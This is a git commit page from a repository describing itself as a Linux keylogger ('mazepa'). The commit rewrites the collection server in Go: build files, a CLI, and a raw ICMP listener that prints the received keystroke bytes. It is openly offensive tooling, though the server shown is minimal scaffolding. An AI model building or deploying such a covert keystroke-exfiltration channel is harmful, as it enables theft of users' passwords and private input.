mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 27da6c8ed9796e83d04378424decbb68a0be563e
parent c9024033c6d05dada287ed9d7a5f61505d28f483
Author: djnn <[email protected]>
Date: Wed, 2 Apr 2025 23:01:42 +0900

feat(server): moving to golang

Diffstat:
Amazepa-server/.gitignore | 40++++++++++++++++++++++++++++++++++++++++
Dmazepa-server/Cargo.toml | 6------
Amazepa-server/Dockerfile | 16++++++++++++++++
Amazepa-server/Makefile | 31+++++++++++++++++++++++++++++++
Amazepa-server/cli/parser.go | 25+++++++++++++++++++++++++
Amazepa-server/cli/types.go | 16++++++++++++++++
Amazepa-server/go.mod | 10++++++++++
Amazepa-server/go.sum | 10++++++++++
Amazepa-server/icmp/pkg.go | 22++++++++++++++++++++++
Amazepa-server/main.go | 35+++++++++++++++++++++++++++++++++++
Dmazepa-server/src/main.rs | 3---

11 files changed, 205 insertions(+), 9 deletions(-)

diff --git a/mazepa-server/.gitignore b/mazepa-server/.gitignore
@@ -0,0 +1,40 @@
+# ---> Go
+# If you prefer the allow list template instead of the deny list, see community template:
+# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
+#
+# Binaries for programs and plugins
+*.exe
+*.exe~
+*.dll
+*.so
+*.dylib
+
+# Test binary, built with `go test -c`
+*.test
+
+# Output of the go coverage tool, specifically when used with LiteIDE
+*.out
+
+# Dependency directories (remove the comment below to include it)
+vendor/
+
+# Go workspace file
+go.work
+
+
+# Target files
+./targets.txt
+targets.txt
+target.txt
+
+# IDE
+.vscode
+.idea
+
+# Build files
+dist/
+mazepa-server
+
+# Out files
+.pki
+.cache
diff --git a/mazepa-server/Cargo.toml b/mazepa-server/Cargo.toml
@@ -1,6 +0,0 @@
-[package]
-name = "mazepa-server"
-version = "0.1.0"
-edition = "2024"
-
-[dependencies]
diff --git a/mazepa-server/Dockerfile b/mazepa-server/Dockerfile
@@ -0,0 +1,16 @@
+FROM golang:1.23-alpine AS builder
+
+WORKDIR /app
+RUN apk update --no-cache && \
+    apk upgrade --no-cache && \
+    apk add --no-cache \
+    make \
+    build-base
+
+COPY go.mod .
+RUN go mod download
+
+COPY . .
+RUN make
+
+ENTRYPOINT [ "/app/mazepa-server" ]
diff --git a/mazepa-server/Makefile b/mazepa-server/Makefile
@@ -0,0 +1,31 @@
+TARGET 		= mazepa-server
+SRC 		= main.go
+
+GROUP_ID 	= $$(id -g)
+USER_ID 	= $$(id -u)
+
+.PHONY: all
+all: compile
+
+.PHONY: help
+help:
+	@echo "\033[34targets:\033[0m"
+	@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
+
+.PHONY: compile
+compile: ## compile the project
+	@go build -o $(TARGET) $(SRC)
+
+.PHONY: docker
+docker: ## builds a docker image from source
+	@docker build -t $(TARGET) \
+		.
+
+.PHONY: clean
+clean: ## cleans up the project
+	rm -f $(TARGET)
+
+.PHONY: tidy
+tidy: ## runs tidy and formatting
+	@go mod tidy
+	@gofmt -s -w .
diff --git a/mazepa-server/cli/parser.go b/mazepa-server/cli/parser.go
@@ -0,0 +1,25 @@
+package cli
+
+import (
+	"mazepa-server/icmp"
+
+	"github.com/spf13/cobra"
+)
+
+func GetParser(opts *MazepaOptions) *cobra.Command {
+
+	var rootCmd = &cobra.Command{
+		Use:   "run",
+		Short: "Run the server",
+		Long:  "Runs the ICMP listener & display all received keys on stdout",
+		Args:  cobra.MinimumNArgs(0),
+		Run: func(cmd *cobra.Command, args []string) {
+
+			icmp.ListenAndPrint(opts.IP)
+		},
+	}
+
+	defaults := GetDefaultOptions()
+	rootCmd.Flags().StringVarP(&opts.IP, "ip", "i", defaults.IP, "Address to listen on (only IPv4 supported for now)")
+	return rootCmd
+}
diff --git a/mazepa-server/cli/types.go b/mazepa-server/cli/types.go
@@ -0,0 +1,16 @@
+package cli
+
+type MazepaOptions struct {
+
+	/// Address to listen on (only IPv4 supported for now)
+	IP string
+}
+
+func GetDefaultOptions() MazepaOptions {
+
+	opts := MazepaOptions{
+		IP: "127.0.0.1",
+	}
+
+	return opts
+}
diff --git a/mazepa-server/go.mod b/mazepa-server/go.mod
@@ -0,0 +1,10 @@
+module mazepa-server
+
+go 1.24.1
+
+require github.com/spf13/cobra v1.9.1
+
+require (
+	github.com/inconshreveable/mousetrap v1.1.0 // indirect
+	github.com/spf13/pflag v1.0.6 // indirect
+)
diff --git a/mazepa-server/go.sum b/mazepa-server/go.sum
@@ -0,0 +1,10 @@
+github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
+github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
+github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
+github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo=
+github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0=
+github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o=
+github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/mazepa-server/icmp/pkg.go b/mazepa-server/icmp/pkg.go
@@ -0,0 +1,22 @@
+package icmp
+
+import (
+	"fmt"
+	"net"
+)
+
+/*
+   https://darkcoding.net/uncategorized/raw-sockets-in-go-ip-layer
+*/
+
+func ListenAndPrint(addr string) {
+
+	netaddr, _ := net.ResolveIPAddr("ip4", addr)
+	conn, _ := net.ListenIP("ip4:icmp", netaddr)
+
+	buf := make([]byte, 1024)
+	numRead, _, _ := conn.ReadFrom(buf)
+
+	fmt.Printf("% X\n", buf[:numRead])
+
+}
diff --git a/mazepa-server/main.go b/mazepa-server/main.go
@@ -0,0 +1,35 @@
+package main
+
+import "mazepa-server/cli"
+
+const SKID_ASCII_ART = `
+                                  /   \
+ _                        )      ((   ))     (
+(@)                      /|\      ))_((     /|\
+|-|                     / | \    (/\|/\)   / | \                      (@)
+| | -------------------/--|-voV---\\'|'/--Vov-|--\--------------------|-|
+|-|                         '^'   (o o)   '^'                         | |
+| |                               '\Y/'                               |-|
+|-|                                                                   | |
+| |        MAZEPA => ICMP KEYLOGGER FOR LINUX WRITTEN IN C AND GO     |-|
+|-|        v2.0                                            ~djnn      | |
+| |                                                                   |-|
+|_|___________________________________________________________________| |
+(@)              l   /\ /         ( (       \ /\   l                 \|-|
+                 l /   V           \ \       V   \ l                  (@)
+                 l/                _) )_          \I
+                                    \ /
+
+`
+
+func main() {
+
+	/* mandatory at this stage lol */
+	println(SKID_ASCII_ART)
+
+	opts := cli.GetDefaultOptions()
+	parser := cli.GetParser(&opts)
+
+	parser.ExecuteC()
+
+}
diff --git a/mazepa-server/src/main.rs b/mazepa-server/src/main.rs
@@ -1,3 +0,0 @@
-fn main() {
-    println!("Hello, world!");
-}